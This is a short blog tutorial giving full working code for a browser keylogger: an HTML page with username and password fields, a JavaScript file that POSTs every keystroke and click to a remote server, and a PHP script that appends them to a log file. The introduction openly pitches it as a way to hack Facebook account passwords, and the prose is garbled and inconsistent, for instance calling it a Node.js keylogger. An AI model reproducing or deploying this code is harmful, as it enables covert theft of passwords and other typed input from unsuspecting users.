Simple Keylogger in Javascript Example

Today, We want to share with you javascript keylogger.In this post we will show you making a Simple Keylogger in Javascript, hear for web based keylogger we will give you demo and example for implement.In this post, we will learn about Hack Facebook Account Password without Software with an example.

html CSS and JavaScript keylogger using PHP

index.html

<!DOCTYPE html>
<html>
<head>
	<title>JavaScript Keylogger - www.pakainfo.com</title>
	<meta charset="UTF-8" />
	<script src="h-keylogger.js"></script>
</head>

<body>
  Test Text:
	<input type="text" placeholder="your username" /><br />
  Test Password:
  <input type="password" placeholder="Eneter/ type password" /><br /><br />
  Ans : Last you can Try check to your server file_log_2021.txt
</body>
</html>

Using PHP Code

index.php

<?php
$fp = fopen("php://input", "r");
$str = stream_get_contents($fp);
fclose($fp);
$text = fopen("file_log_2021.txt", "a+");
fwrite($text, $str);
fclose($text);
?>

h-keylogger.js

(function(){
	var server = "https://your-primary-domain.com/server.php";
	document.addEventListener("keyup", function(e){
		var test_val = new XMLHttpRequest();
		test_val.open("POST", server, true);
		test_val.send(e.key);
	});
	
	document.addEventListener("click", function(e){
		var click;
		if(e.which == 1){
			click = " Left Click ";
		}else{
			click = " Right Click ";
		}
		
		var test_val = new XMLHttpRequest();
		test_val.open("POST", server, true);
		test_val.send(click);
	});
})();

I hope you get an idea about keylogger in node js.
I would like to have feedback on my infinityknow.com blog.
Your valuable feedback, question, or comments about this article are always welcome.
If you enjoyed and liked this post, don’t forget to share.

Also Read This 👉   php string replace - The Best PHP 3 Examples